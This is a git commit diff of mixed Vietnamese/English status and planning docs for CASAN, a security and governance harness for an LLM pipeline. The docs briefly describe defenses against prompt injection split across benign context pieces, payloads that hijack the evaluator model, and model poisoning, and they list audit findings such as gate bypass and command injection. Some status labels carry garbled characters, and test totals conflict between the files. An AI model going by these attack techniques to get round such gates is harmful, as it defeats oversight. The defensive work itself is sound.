update doc and optimize
This commit is contained in:
@@ -5,12 +5,18 @@
|
||||
> cũng làm tiếp được ngay**. Cập nhật mỗi khi hoàn thành một mục.
|
||||
>
|
||||
> Cập nhật lần cuối: 2026-07-06 · Nhánh làm tiếp từ handoff Claude.
|
||||
>
|
||||
> **Vai trò file (single source of truth):** file này là **nguồn chuẩn cho "còn
|
||||
> gì phải làm"**. Control **đã implement+test** → xem `CASAN_HARDENING_STATUS.md`.
|
||||
> Mục lục plan → `CASAN_PLAN_00_INDEX.md`. Ba file không lặp trạng thái chi
|
||||
> tiết; Index chỉ trỏ tới hai file này.
|
||||
> Test hiện tại: **218 PASS / 0 FAIL** trên 13 core harness suite; local-prod Docker infra lab **2 PASS / 0 FAIL** (`infra-lab verify`: 7/0 internal checks); `phase3-model-router` riêng **11 PASS / 0 FAIL**; `phase2-sourcegen` riêng **3 PASS / 0 FAIL**; frontend Vitest **16 PASS / 0 FAIL**. Backend `npm test` còn bị chặn bởi test-infra cũ (`schema.prisma` MySQL nhưng `setup-sqlite.mjs` chạy SQLite).
|
||||
> Điểm công tâm vẫn quanh **~81/100**, harness thấp nhất 80; TIER 2 infra thật vẫn là trần Strong.
|
||||
> Nguồn liên quan: `CASAN_HARDENING_STATUS.md` (chi tiết control) · `evidence/scoring-run-report.md` (điểm).
|
||||
|
||||
## Quy ước
|
||||
- **Nhãn:** ✅ done+test · 🟡 MVP done (bản prod cần hạ tầng) · 🟦 deliverable-now (làm được offline) · 🔌 needs-infra (cần key/dịch vụ ngoài) · 📋 handoff-only (platform lớn, cần nhiều phiên).
|
||||
- **Nhãn (legend chuẩn — các file khác trỏ về đây):** ✅ done+test · 🟡 MVP done (bản prod cần hạ tầng) · 🟦 deliverable-now (làm được offline) · 🔌 needs-infra (cần key/dịch vụ ngoài) · 📋 handoff-only (platform lớn, cần nhiều phiên).
|
||||
- **Ánh xạ sang nhãn của `CASAN_HARDENING_STATUS.md`:** ✅ ≈ `[implemented+tested]` · 🟡 (có bản chạy, prod cần hạ tầng) ≈ `[scaffold+tested]` · 📋/🔌 chưa làm ≈ `[planned]`.
|
||||
- **Nguyên tắc bàn giao:** mỗi mục 🔌/📋 phải có "Bước tiếp theo" đủ cụ thể để người khác bắt tay ngay.
|
||||
- **Bất biến an toàn:** giữ 218/0 core harness; mọi control mới phải có test đối kháng fail-able; không hardcode verdict, không bypass.
|
||||
|
||||
@@ -23,6 +29,7 @@
|
||||
| T1.1 | **Model-digest pinning** (chống model bị tráo/poison) | 07 B4 / V16 | ✅ done+test | `.specify/security/model-digest.pin` pin `ornith:9b`; `model-call.py` gọi `model-digest-check.sh verify` trước Ollama; mismatch mặc định BLOCK, rollout mode WARN. Test: `phase3-model-router` pin→OK, đổi→WARN/BLOCK. |
|
||||
| T1.2 | **IdP/OIDC cho approval** (thay registry pubkey tĩnh) | 07 C4 / V20 | ✅ MVP done+test | `approval-verify.sh` chấp nhận `CASAN_APPROVAL_JWT` RS256 ký bởi mock IdP, verify chữ ký bằng pubkey, check `sub`/`role`/`exp` + bind `action`/`actor`/`input_sha256`. Test: JWT hợp lệ→APPROVED, hết hạn/sai role/chữ ký giả→DENY. Prod còn cần IdP/JWKS thật. |
|
||||
| T1.3 | **Traceability REQ→code→test** (khác biệt nhất) | 10 | ✅ MVP done+test | `traceability-matrix.py` parse FR-xx từ requirement, dùng `.specify/traceability-map.json`, gate mọi FR có ≥1 code + ≥1 test; Evidence Pack thêm `traceability-matrix.json`. Test: FR đủ→PASS, FR thiếu test→FAIL. |
|
||||
| T1.4 | **Fix test-infra backend** (Prisma MySQL vs `setup-sqlite.mjs`) — gỡ chặn `npm test` để Plan-05 CI xanh | 05 | ✅ done+test | Đã fix: `scripts/make-sqlite-schema.mjs` sinh `schema.sqlite.prisma` từ schema.prisma (không drift), test dùng `prisma db push` thay migration MySQL thủ công; bỏ `setup-sqlite.mjs`; đổi `bcrypt`→`bcryptjs` (thuần JS, không cần native build); thêm `cross-env`. **Backend `npm test` = 46 pass / 0 fail / 3 skip** (llm-judge thiếu ANTHROPIC_API_KEY). Đã nối vào `ci-harness-gate.sh` (`backend-tests`). Build production (mysql) vẫn compile. Ghi chú: engine Prisma tải qua `NODE_OPTIONS=--use-system-ca` do corporate MITM. |
|
||||
|
||||
## TIER 2 — Plan-07 gaps cần hạ tầng (Docker local-prod lab đã có; prod managed thật vẫn cần) 🔌
|
||||
|
||||
@@ -39,16 +46,20 @@
|
||||
|
||||
| Plan | Trạng thái | Lõi cần làm (bước tiếp theo cho AI kế) |
|
||||
|---|:--:|---|
|
||||
| **10 Traceability + H3 Eval** | ✅ MVP done+test | Đã nối traceability vào Evidence Pack. Sau MVP: line/symbol-level traceability + H3 eval-set độc lập (nhiều model). |
|
||||
| **10 Traceability + H3 Eval** | ✅ MVP done+test | Đã nối traceability vào Evidence Pack + **symbol/line-level refs** (missing symbol/line ⇒ gate FAIL, phase10 6/0 WSL) + enforce trong CI (`ci-harness-gate.sh`). Sau MVP: H3 eval-set độc lập (nhiều model) + enrich symbol refs cho FR-02→FR-05. |
|
||||
| **03 Cloud patch** | 🟡 MVP done+test | `model-call.py` đã hỗ trợ `openai:<model>` và `anthropic:<model>` qua endpoint hard-pin + API key env; parser token usage và malformed payload có deterministic test. Còn live smoke với key thật + billing usage API ground truth. |
|
||||
| **02 LLM source-gen** | 🟡 đợt A MVP done+test | `01-srs` và `02-bd` hỗ trợ `CASAN_GEN_MODE=model`: gọi `model-router.sh --role generate`, scan H4 draft bằng `artifact-scan.sh`, validate token bắt buộc, fallback template nếu lỗi. Test `phase2-sourcegen` 3/0. Còn đợt B/C/D + full live pipeline smoke. |
|
||||
| **04 Self-improve** | 📋 chưa bắt đầu | Khép vòng `casan improve`: đọc metrics/drift/hallucination → đề xuất vá → chạy lại gate. Phụ thuộc 02, 05. Bước 1: script đọc `metrics.jsonl` + `drift-report.json` → sinh backlog vá tự động. |
|
||||
| **04 Self-improve** | � core done+test | `.specify/scripts/bash/self-improve.py`: `propose` đọc metrics/drift → proposal dry-run (không ghi); `apply` bắt buộc approval, áp qua governed store (audit); sensitive/loosen luôn cần duyệt. `phase-selfimprove-tests.sh` 7/0 (WSL), nối CI. Còn: luật đề xuất phong phú hơn (corpus/model escalation), chạy định kỳ CI (05). |
|
||||
| **05 CI/CD** | 🟡 CI gate MVP done | `.specify/scripts/bash/ci-harness-gate.sh` chạy các suite harness/hardening/sourcegen/traceability/frontend theo thứ tự an toàn, có timeout/filter; `.gitea/workflows/harness-ci.yml` gọi gate trên push/PR. Filtered local verify PASS=2/0. Còn: full gate xanh trên runner thật, xử lý A6 nếu còn chậm/treo, bật Docker infra lab nếu runner hỗ trợ, package/release artifact `fpt-casan-sdd-harness`. |
|
||||
| **06 Onboard dự án 2** | 📋 chưa bắt đầu | Chứng minh reuse: cắm 1 repo khác + golden/corpus/input, đăng ký qua `verify-harness-reuse.sh`, không sửa gate. Phụ thuộc 01. |
|
||||
| **08 Context compression** | 📋 chưa bắt đầu | Nén prompt/context giảm token (H1.5). Làm SAU khi core ổn (nén thêm bề mặt rủi ro → cần quét lại). Bước 1: đo token baseline mỗi step, thử tóm tắt có kiểm chứng (H3 judge so sánh). |
|
||||
| **08 Context compression** | � MVP done+test | **CASAN-native token-killer** (Track 3) đã có: `context-compress.py` (dedup/extractive/structural, must-keep, tee, gate fail-able), `phase08-compression-tests.sh` 7/0 (WSL), nối CI. Còn: Track 1 nén INPUT + Track 2 nén VIEW liên-bước + Track 4 abstractive (gated) + nối H4/H5 trong pipeline thật. |
|
||||
| **12 Domain Pack SDK** | 📋 chưa bắt đầu | Onboard bằng khai báo (golden/corpus/policy theo domain). Phụ thuộc 01, 06. |
|
||||
| **01 Restructure** | 📋 chưa bắt đầu | Tái cấu trúc thư mục Phase 0→6. Nền cho 06/12. Rủi ro cao (đụng nhiều path) → làm trên nhánh riêng, giữ 218/0. |
|
||||
| **13 Control Plane** | 🟡 core done+test | **Sửa kiến trúc: là tài sản harness, KHÔNG nằm trong OKR.** Governance core đã dời vào harness: `.specify/scripts/bash/control-plane-settings.py` (settings versioned + audit hash-chain + deny-by-default + approval + rollback), `phase-control-plane-tests.sh` 7/0 (WSL), nối CI. Đã gỡ khỏi `apps/okr` (OKR sạch: 46/0/3skip + 16/16). Còn: web app React+NestJS độc lập `control-plane/` bọc harness core; RBAC đầy đủ (14); approval IdP (04+07-C4); FinOps/SLO; deploy prod (07 T2). |
|
||||
| **14 RBAC** | � core done+test | RBAC decision engine trong harness: `.specify/scripts/bash/rbac-check.py` (role×resource:action, scope org/project, deny-by-default, tenant isolation, sensitive→org-admin, SoD), `phase-rbac-tests.sh` 10/0 (WSL), nối CI. Còn: ánh xạ IdP claim→role (07-C4), enforcement trong web app (13), audit quyết định vào H5. |
|
||||
| **15 Responsible AI & Data Gov** | 🟡 core done+test+enforced | `rai-guard.py` (classify; PII→cloud deny; model-card; **retention** gate/purge-audit; **report** aggregate) + **enforcement** `harness-preflight.sh` chặn PII→cloud trước model-call, `model-router` opt-in `CASAN_PREFLIGHT`. `phase-rai` 12/0 + `phase-preflight` 5/0 (WSL), nối CI. Còn: view trên Control Plane. |
|
||||
| Future B1–B6 | 💤 vision | `CASAN_PLAN_FUTURE_PHASES.md` — approval workflow nâng cao · state machine · model benchmark · governed memory · auto-remediation · platform KPI. |
|
||||
| **16 Security audit remediation** | 📋 audit xong, vá chưa làm | Audit đối kháng toàn bộ script core (`CASAN_PLAN_16`). **High per-file:** tamper-evidence bị vô hiệu (unsigned=valid + khoá local + chain recomputable), RCE `rollback-manager` (`bash -c`), JSON-injection `governance-check`, fail-open `action-gate`, control-plane audit chưa ký. **Kiến trúc (nguy hiểm hơn):** gate/policy không bảo vệ toàn vẹn (sửa thẳng gate = bypass), test tự-tham-chiếu, vi phạm secure-by-default (control mạnh là opt-in env), TOCTOU/không-lock, tin PATH/clock. Kế hoạch vá P0→P2 (SEC-01..30, gồm ARCH-01..10 + multi-tenant MT-01..04 + supply-chain SC-01..07 + second-order X-01..07) mỗi task verify fail-able. Thực thi: AI kế. |
|
||||
|
||||
---
|
||||
|
||||
|
||||
@@ -7,6 +7,10 @@
|
||||
>
|
||||
> Labels: **[implemented+tested]** · **[scaffold+tested]** (works, but a stronger
|
||||
> production form is documented as TODO) · **[planned]** (not built).
|
||||
>
|
||||
> **Vai trò file (single source of truth):** file này là **nguồn chuẩn cho "control
|
||||
> nào đã implement+test"**. "Còn gì phải làm" → `CASAN_BACKLOG_STATUS.md` (có legend
|
||||
> chuẩn + ánh xạ nhãn). Mục lục plan → `CASAN_PLAN_00_INDEX.md`.
|
||||
|
||||
## 1. What is implemented now
|
||||
|
||||
@@ -62,7 +66,7 @@
|
||||
| C6 | **TRUE runtime isolation (V22)**: container sandbox (`--network=none --read-only --pids-limit --cap-drop=ALL`, workspace-only mount) — the kernel neutralises host-file reads / egress / out-of-workspace writes; upgrades the static scaffold | [implemented+tested] (live via Docker; skip-aware) | `sandbox-container.sh`, `sandbox-run.sh` (`CASAN_SANDBOX_MODE=container`) | phase-c6-sandbox (6) |
|
||||
| B2 | **Split + classifier injection (V5,V6)**: `context-assemble-scan.sh` scans the concatenated context so a payload split across benign pieces is caught on assembly; verdict-steering patterns (PI-CLS-*) block content that tries to hijack the evaluator | [implemented+tested] | `context-assemble-scan.sh`, `prompt-filter.yaml` (PI-CLS-*) | phase-h4-split-inject (8) |
|
||||
| B4 | **Model-digest pinning (V16)**: approved Ollama model digest pinned; router verifies live digest before generation/classify/judge; mismatch blocks by default with warn mode for rollout | [implemented+tested] | `model-digest-check.sh`, `model-call.py`, `.specify/security/model-digest.pin` | phase3-model-router (digest cases) |
|
||||
| Plan-10 | **Traceability REQ→code→test MVP**: parse `FR-*`, require code+test mapping per FR, generate matrix, and include it in Evidence Pack | [implemented+tested] | `traceability-matrix.py`, `.specify/traceability-map.json`, `docs/output/casan/traceability-matrix.json` | phase10-traceability (3) |
|
||||
| Plan-10 | **Traceability REQ→code→test**: parse `FR-*`, require code+test mapping per FR, generate matrix, include it in Evidence Pack, **plus symbol/line-level refs** (object form `{file,symbols,lines}`; missing symbol/line ⇒ gate FAIL) | [implemented+tested] | `traceability-matrix.py`, `.specify/traceability-map.json`, `docs/output/casan/traceability-matrix.json` | phase10-traceability (6) |
|
||||
|
||||
### Phase 7 — Local production-like infra lab (Tier-2 emulation) — [implemented+tested]
|
||||
|
||||
@@ -86,9 +90,16 @@
|
||||
| `phase-h4-multilingual-tests.sh` | 7 | **New** — VI/JA injection block + benign VI/JA 0-FP (B1) |
|
||||
| `phase-c6-sandbox-tests.sh` | 6 | **New** — TRUE container isolation (C6, live via Docker / skip-aware) |
|
||||
| `phase-h4-split-inject-tests.sh` | 8 | **New** — split-injection assembly scan + classifier-inject (B2) |
|
||||
| `phase10-traceability-tests.sh` | 3 | **New** — Plan-10 FR→code→test matrix + fail-able missing-test gate |
|
||||
| `phase10-traceability-tests.sh` | 6 | **New** — Plan-10 FR→code→test matrix + fail-able missing-test gate + **symbol/line-level** refs (missing symbol/line ⇒ FAIL) |
|
||||
| `phase08-compression-tests.sh` | 9 | **New** — Plan-08 CASAN-native token-killer: dedup/extractive/structural + must-keep preserve + tee raw-passthrough + fail-able must-keep gate + **settings-govern-harness** (compression.enabled) |
|
||||
| `phase-control-plane-tests.sh` | 9 | **New** — Plan-13 harness-owned governed settings: deny-by-default + approval gate + versioning/rollback + audit hash-chain tamper detection + effective-setting resolver |
|
||||
| `phase-rbac-tests.sh` | 12 | **New** — Plan-14 harness-owned RBAC: deny-by-default + action gating + tenant isolation + sensitive-requires-org-admin + Separation of Duties + IdP-claim→role mapping |
|
||||
| `phase-rai-tests.sh` | 12 | **New** — Plan-15 harness-owned Responsible AI & Data Governance: data classification + PII→cloud denial without approval + model-card enforcement + retention gate/purge-audit + RAI aggregate report |
|
||||
| `phase-selfimprove-tests.sh` | 7 | **New** — Plan-04 self-improve core: telemetry→proposal (dry-run) + apply-requires-approval + governed-store application + sensitive-needs-approval |
|
||||
| `phase-governance-report-tests.sh` | 5 | **New** — Plan-09 tie-in: unified governance evidence report (traceability+RBAC+RAI+audit+self-improve) + certified-run gate (tampered audit ⇒ NOT_CERTIFIED) |
|
||||
| `phase-preflight-tests.sh` | 5 | **New** — Plan-15/13 enforcement wiring: harness preflight blocks PII→cloud without approval BEFORE the model call; `model-router` honors `CASAN_PREFLIGHT` (opt-in, short-circuits) |
|
||||
| `phase-prod-infra-lab-tests.sh` | 2 | **New optional/local-prod** — Docker Compose infra lab starts + verifies Vault/IdP/MinIO/dashboard/alert/billing |
|
||||
| **Total** | **218 core + 2 local-prod infra lab** | Baseline 79 preserved; +139 new hardening/traceability checks. Last full harness run 2026-07-06, 0 fail. Direct `phase3-model-router-tests.sh` adds 11/0 including deterministic cloud provider parser coverage; `infra-lab verify` adds 7 internal infra checks. |
|
||||
| **Total** | **280 core + 2 local-prod infra lab** | Baseline 79 preserved; +201 new checks across traceability/compression/control-plane/RBAC/RAI/self-improve/governance-report/preflight (phase10 3→6; phase08 7→9; phase-control-plane 7→9; phase-rbac 10→12; phase-rai 9→12; +7 phase-selfimprove; +5 phase-governance-report; +5 phase-preflight). Full-suite green xác minh trên CI/Mac có Ollama+Docker; các suite deterministic mới verify **trong WSL** (msys+Python Windows lệch path). Preflight wiring là opt-in (`CASAN_PREFLIGHT` default off) ⇒ không đổi luồng model cũ. Direct `phase3-model-router-tests.sh` adds 11/0 including deterministic cloud provider parser coverage; `infra-lab verify` adds 7 internal infra checks. |
|
||||
|
||||
Run order note: `run-casan4-harness-tests.sh` does `rm -rf .specify/logs`, so run it
|
||||
**first** and never concurrently with the other suites.
|
||||
|
||||
@@ -1,96 +1,91 @@
|
||||
# CASAN — Plan Index & Current Backlog
|
||||
# CASAN — Mục lục Plan
|
||||
|
||||
> Cap nhat: 2026-07-06. File nay la muc luc trang thai hien tai, khong con la
|
||||
> danh sach "chua thuc thi" thuần tuy. Chi tiet ban giao nam o
|
||||
> `CASAN_BACKLOG_STATUS.md`; chi tiet hardening/control nam o
|
||||
> `CASAN_HARDENING_STATUS.md`.
|
||||
> Cập nhật: 2026-07-06. File này là **mục lục thuần** cho bộ plan CASAN. Trạng thái
|
||||
> chi tiết **không** lặp ở đây để tránh lệch: "còn gì phải làm" xem
|
||||
> `CASAN_BACKLOG_STATUS.md` (có legend nhãn chuẩn); "control nào đã implement+test"
|
||||
> xem `CASAN_HARDENING_STATUS.md`. Ba file phân vai rõ, một sự thật ghi một nơi.
|
||||
|
||||
## Hien trang ngan gon
|
||||
## Hiện trạng một dòng
|
||||
|
||||
| Nhom | Trang thai | Bang chung |
|
||||
|---|---|---|
|
||||
| Plan-07 Production hardening | Core controls da xong; managed prod infra con | 218 core checks PASS / 0 FAIL; local-prod Docker lab PASS |
|
||||
| Plan-09 Evidence Pack | MVP da xong | `phase3-evidence-pack-tests.sh` 7/7; pack gom ca traceability matrix |
|
||||
| Plan-10 Traceability | MVP da xong | `phase10-traceability-tests.sh` 3/3 |
|
||||
| Docker local-prod infra lab | Da xong tren may local/Mac | `phase-prod-infra-lab-tests.sh` 2/2; `infra-lab verify` 7/7 |
|
||||
| Scoring hien tai | Level 4; diem cong tam quanh 81/100 | H5/H6 con tran vi managed infra that chua co |
|
||||
- **Scoring:** CASAN Level 4; điểm công tâm quanh **~81/100**; harness thấp nhất 80
|
||||
(H5/H6) — trần do **managed infra thật** chưa có (xem Plan-07 TIER 2).
|
||||
- **Core harness:** **218 core checks PASS / 0 FAIL**; local-prod Docker lab 2/0
|
||||
(`infra-lab verify` 7/0). Đây là bất biến — mọi thay đổi phải giữ được.
|
||||
|
||||
## Danh muc plan
|
||||
## Danh mục plan
|
||||
|
||||
| # | File | Mang | Trang thai hien tai | Uu tien tiep |
|
||||
|---|---|---|---|---|
|
||||
| 01 | `CASAN_PLAN_01_RESTRUCTURE.md` | Tai cau truc thu muc Phase 0-6 | **File chi tiet dang thieu**; cong viec chua lam | Cao, nhung nen lam tren nhanh rieng |
|
||||
| 02 | `CASAN_PLAN_02_LLM_SOURCEGEN.md` | Noi LLM that vao sinh source thay template | Dot A MVP da co cho `01-srs`/`02-bd`; B/C/D con | Cao tiep |
|
||||
| 03 | `CASAN_PLAN_03_CLOUD_PATCH.md` | Patch cloud/OpenAI/Anthropic, bo stub | MVP da co + deterministic test; live smoke can key that | Cao cho live provider |
|
||||
| 04 | `CASAN_PLAN_04_SELFIMPROVE.md` | Khep vong `casan improve` | Chua bat dau | Trung-Cao sau 02/05 |
|
||||
| 05 | `CASAN_PLAN_05_CICD.md` | CI/CD + release package | CI gate MVP + Gitea workflow da co; release package con | Cao cho runner green/release |
|
||||
| 06 | `CASAN_PLAN_06_ONBOARD.md` | Onboard du an that thu 2 | Chua bat dau | Cao de chung minh reuse |
|
||||
| 07 | `CASAN_PLAN_07_PRODUCTION_HARDENING.md` | H4/H5/H6 + Track C production controls | Core da xong; managed prod infra con | Con T2 infra that |
|
||||
| 08 | `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` | H1.5 context/token compression | Chua bat dau | Trung, lam sau core stability |
|
||||
| 09 | `CASAN_PLAN_09_EVIDENCE_PACK.md` | Evidence Pack & certification | MVP da xong; report/badge dep con | Trung |
|
||||
| 10 | `CASAN_PLAN_10_TRACEABILITY_EVAL.md` | REQ->code->test + H3 eval | MVP da xong; line/symbol-level con | Cao vua |
|
||||
| 12 | `CASAN_PLAN_12_DOMAIN_PACK.md` | Domain Pack SDK | Chua bat dau | Trung-Cao sau 01/06 |
|
||||
| Future | `CASAN_PLAN_FUTURE_PHASES.md` | Approval workflow, state machine, benchmark, memory, remediation, KPI | Vision/chua lam | Sau cac plan nen |
|
||||
> Cột trạng thái chỉ là nhãn tóm tắt (legend: `CASAN_BACKLOG_STATUS.md`). Chi tiết
|
||||
> "bước tiếp theo" nằm ở Backlog.
|
||||
|
||||
## Da hoan thanh gan day
|
||||
| # | File | Mảng | Nhãn |
|
||||
|---|---|---|:--:|
|
||||
| 01 | `CASAN_PLAN_01_RESTRUCTURE.md` | Tái cấu trúc thư mục Phase 0→6 + tách package harness | 📋 |
|
||||
| 02 | `CASAN_PLAN_02_LLM_SOURCEGEN.md` | Nối LLM thật vào sinh source thay template | 🟡 (đợt A) |
|
||||
| 03 | `CASAN_PLAN_03_CLOUD_PATCH.md` | Patch cloud OpenAI/Anthropic, bỏ stub | 🟡 / 🔌 live |
|
||||
| 04 | `CASAN_PLAN_04_SELFIMPROVE.md` | Khép vòng `casan improve` | 📋 |
|
||||
| 05 | `CASAN_PLAN_05_CICD.md` | CI/CD + release package | 🟡 |
|
||||
| 06 | `CASAN_PLAN_06_ONBOARD.md` | Onboard dự án thật thứ 2 (chứng minh reuse) | 📋 |
|
||||
| 07 | `CASAN_PLAN_07_PRODUCTION_HARDENING.md` | H4/H5/H6 + Track C + TIER 2 managed infra | 🟡 core / 🔌 T2 |
|
||||
| 08 | `CASAN_PLAN_08_CONTEXT_COMPRESSION.md` | H1.5 context/token compression | 📋 |
|
||||
| 09 | `CASAN_PLAN_09_EVIDENCE_PACK.md` | Evidence Pack & certification | 🟡 |
|
||||
| 10 | `CASAN_PLAN_10_TRACEABILITY_EVAL.md` | REQ→code→test + H3 eval | 🟡 |
|
||||
| 12 | `CASAN_PLAN_12_DOMAIN_PACK.md` | Domain Pack SDK | 📋 |
|
||||
| 13 | `CASAN_PLAN_13_CONTROL_PLANE.md` | Control Plane: dashboard giám sát + quản lý + settings | 📋 |
|
||||
| 14 | `CASAN_PLAN_14_RBAC.md` | RBAC & quản trị đa dự án (multi-tenant) | 📋 |
|
||||
| 15 | `CASAN_PLAN_15_RESPONSIBLE_AI_DATA_GOV.md` | Responsible AI & Data Governance (FPT §14.3–14.4) | 📋 |
|
||||
| 16 | `CASAN_PLAN_16_SECURITY_AUDIT_REMEDIATION.md` | Security audit core harness + kế hoạch vá (tamper-evidence/injection/fail-open) | 📋 audit xong |
|
||||
| Future | `CASAN_PLAN_FUTURE_PHASES.md` | Approval workflow, state machine, benchmark, memory, remediation, KPI | 💤 vision |
|
||||
|
||||
| Muc | Ket qua | Verify |
|
||||
|---|---|---|
|
||||
| B4 model-digest pinning + cloud parser coverage | Pin digest `ornith:9b`; mismatch BLOCK mac dinh, WARN rollout; OpenAI/Anthropic parser deterministic test | `phase3-model-router-tests.sh` 11/11 |
|
||||
| C4 approval IdP/OIDC MVP | `approval-verify.sh` verify RS256 JWT, role, expiry, request binding; co mock IdP/JWKS | `phase-h5-approval-tests.sh` 12/12 |
|
||||
| Plan-10 traceability MVP | Parse `FR-*`, map requirement -> code -> test, gate thieu coverage | `phase10-traceability-tests.sh` 3/3 |
|
||||
| Docker local-prod infra lab | Vault, IdP/JWKS, MinIO Object Lock, dashboard nginx auth, alert webhook, billing API mock | `phase-prod-infra-lab-tests.sh` 2/2; `infra-lab verify` 7/7 |
|
||||
> **Không có plan số 11:** số 11 được bỏ trống có chủ ý — nhánh eval/traceability đã
|
||||
> gộp vào Plan-10, không tách plan 11 riêng. Dãy nhảy 10 → 12 là bình thường.
|
||||
|
||||
## Con chua lam — uu tien cao
|
||||
## Ưu tiên thực thi (core harness là mấu chốt)
|
||||
|
||||
| Uu tien | Viec con lai | Ly do | Buoc dau tien de lam tiep |
|
||||
|---|---|---|---|
|
||||
| P1 | Plan-02 LLM source-gen dot B/C/D | Dot A da co; spec/plan/dd/tasks/code con template | Mo rong `generateArtifact` sang `03-spec`, `05-plan`, `07-dd`, `08-testkit`, `09-tasks`, sau do code step D voi STEP12 test gate |
|
||||
| P2 | Plan-03 live cloud smoke | MVP cloud patch da test offline; chua co bang chung key/provider that tren may nay | Khi co `OPENAI_API_KEY`/`ANTHROPIC_API_KEY`, chay smoke va luu evidence token usage that |
|
||||
| P3 | Managed prod infra T2 | Docker lab da chay, nhung chua the claim production Strong | Cau hinh enterprise IdP/JWKS, S3 Object Lock/QLDB, KMS default/HSM, dashboard TLS/OIDC, Slack/PagerDuty, billing API that |
|
||||
| P4 | Plan-05 CI/CD runner green + release package | CI gate script/workflow da co; chua co bang chung Gitea runner green va package artifact | Chay Gitea workflow that; sau do them package/release artifact `fpt-casan-sdd-harness` |
|
||||
| P5 | Plan-06 onboard project 2 | Chung minh harness reuse that | Chon domain thu 2, tao app/domain data/golden/corpus, dang ky registry, chay `verify-harness-reuse.sh` |
|
||||
> Nguyên tắc định hướng: **giá trị lõi của CASAN là core harness (gate H1→H7), không
|
||||
> phải source-gen.** Vì vậy ưu tiên đặt việc củng cố/mở rộng core harness lên trước;
|
||||
> source-gen (Plan-02) là thứ yếu, làm sau khi core vững.
|
||||
|
||||
## Con chua lam — uu tien trung binh
|
||||
| Ưu tiên | Việc | Vì sao |
|
||||
|:--:|---|---|
|
||||
| **P1** | Giữ **218/0** + đưa **traceability line/symbol-level vào CI** (Plan-10 + Plan-05) | Bảo vệ & siết chính core harness — mấu chốt |
|
||||
| **P2** | **TIER 2 managed infra** (Plan-07): IdP/JWKS, WORM-S3, KMS/HSM, dashboard TLS/OIDC, alert managed, billing thật | Đòn bẩy duy nhất lên "Strong 81+" |
|
||||
| **P3** | **Plan-01 restructure** (nhánh riêng, giữ 218/0) | Nền để tách package harness → mở khoá 06/12 |
|
||||
| **P4** | **Plan-06 onboard dự án 2** | Chứng minh reuse core harness (thuyết phục nhất) |
|
||||
| **P5** | **Plan-05 CI/CD** runner green + release package | Tự động hoá bảo vệ core harness |
|
||||
| P6 | Plan-02 source-gen đợt B–D | **Thứ yếu** — chỉ mở rộng sau khi core vững; mọi output vẫn qua H1→H7 |
|
||||
| P7 | Plan-03 live cloud smoke | Cần key thật (điều kiện gỡ blocker: xem Plan-03) |
|
||||
| P8 | Plan-04 / 08 / 12 | Làm sau các plan nền |
|
||||
|
||||
| Viec | Trang thai | Buoc tiep theo |
|
||||
|---|---|---|
|
||||
| Plan-01 restructure | Chua lam; file chi tiet dang thieu | Tao plan chi tiet truoc, sau do tach tren branch rieng; giu 218/0 |
|
||||
| Plan-08 context compression | Chua lam | Do token baseline; lam extractive/structural compression truoc, scan/audit raw va compressed |
|
||||
| Plan-10 line/symbol-level traceability | MVP file-level da xong | Them line/symbol refs va dua gate vao CI |
|
||||
| Plan-09 report/badge/UI | MVP pack da xong | Render HTML one-page + badge "Certified run" khi gate du dieu kien |
|
||||
| Plan-12 Domain Pack SDK | Chua lam | Lam sau khi co Plan-01/06; dinh schema `domain-pack.yaml` va loader |
|
||||
| Plan-04 self-improve | Chua lam | Doc telemetry/drift/cost -> sinh proposal dry-run, can approval moi apply |
|
||||
> **Track enterprise (bar tổ chức “rất cao”):** Plan-13 Control Plane (dashboard
|
||||
> giám sát + quản lý + settings) là trục chính, phụ thuộc Plan-14 (RBAC) +
|
||||
> Plan-04 (approval) + Plan-07 C4 (IdP). Plan-15 (Responsible AI & Data Governance)
|
||||
> bắt buộc cho FPT §14.3–14.4. Nhóm này song song track core harness, không thay
|
||||
> thế nó.
|
||||
|
||||
## Managed infra con lai, khong nen claim la done production
|
||||
|
||||
| Area | Hien co | Con thieu de production |
|
||||
|---|---|---|
|
||||
| IdP/OIDC | Mock IdP/JWKS trong Docker | Enterprise IdP/JWKS, policy/versioning/diff |
|
||||
| KMS | Vault Transit lab + fallback local | KMS mac dinh, HSM/CloudHSM, token ngan han qua IdP, bo fallback local trong prod |
|
||||
| WORM audit | Local ledger + MinIO Object Lock lab | S3 Object Lock/QLDB that, trusted timestamp, retention policy |
|
||||
| Dashboard | Local HTTP + nginx basic auth | Host that, TLS, OIDC/enterprise auth, uptime monitor |
|
||||
| Alerting | Local webhook + retry/dead-letter | Slack/PagerDuty/managed channel, rota on-call |
|
||||
| Billing telemetry | Local mock API + reconcile | OpenAI/Anthropic usage API that, keys, schema versioning |
|
||||
| Sandbox | Docker container isolation | Rootless/nsjail/bubblewrap profile cho Linux CI + hardened base image |
|
||||
|
||||
## Thu tu thuc thi de xuat
|
||||
## Thứ tự phụ thuộc
|
||||
|
||||
```mermaid
|
||||
flowchart LR
|
||||
P03["03 Cloud patch<br/>(provider keys/API)"] --> P02["02 LLM source-gen<br/>dot A-D"]
|
||||
P02 --> P04["04 Self-improve<br/>proposal + approval"]
|
||||
P05["05 CI/CD<br/>release gates"] --> P04
|
||||
P05 --> P06["06 Onboard project 2"]
|
||||
P01["01 Restructure<br/>branch rieng"] --> P06
|
||||
CORE["Core harness 218/0<br/>(bất biến)"] --> P10X["10 Traceability++<br/>line/symbol + CI"]
|
||||
CORE --> P07T2["07 TIER 2 managed infra<br/>IdP/KMS/WORM/alerts/billing"]
|
||||
P10X --> P05["05 CI/CD<br/>release gates"]
|
||||
P07T2 --> STRONG["Strong 81+"]
|
||||
P01["01 Restructure<br/>(nhánh riêng)"] --> P06["06 Onboard dự án 2"]
|
||||
P01 --> P12["12 Domain Pack SDK"]
|
||||
P06 --> P12
|
||||
P07T2["07 T2 managed infra<br/>IdP/KMS/WORM/alerts/billing"] --> STRONG["Strong claim"]
|
||||
P10X["10 Traceability++<br/>line/symbol + CI"] --> P05
|
||||
P05 --> P06
|
||||
P03["03 Cloud patch<br/>(keys/API)"] --> P02["02 Source-gen<br/>đợt A→D (thứ yếu)"]
|
||||
P02 --> P04["04 Self-improve"]
|
||||
P08["08 Compression<br/>sau core"] --> P02
|
||||
P07T2 --> P13["13 Control Plane<br/>monitor + manage + settings"]
|
||||
P14["14 RBAC"] --> P13
|
||||
P04 --> P13
|
||||
P13 --> P15["15 Responsible AI<br/>& Data Governance"]
|
||||
style CORE fill:#d0e8ff,stroke:#2c3e91,stroke-width:2px
|
||||
style STRONG fill:#d0ffd0,stroke:#1e8449,stroke-width:2px
|
||||
```
|
||||
|
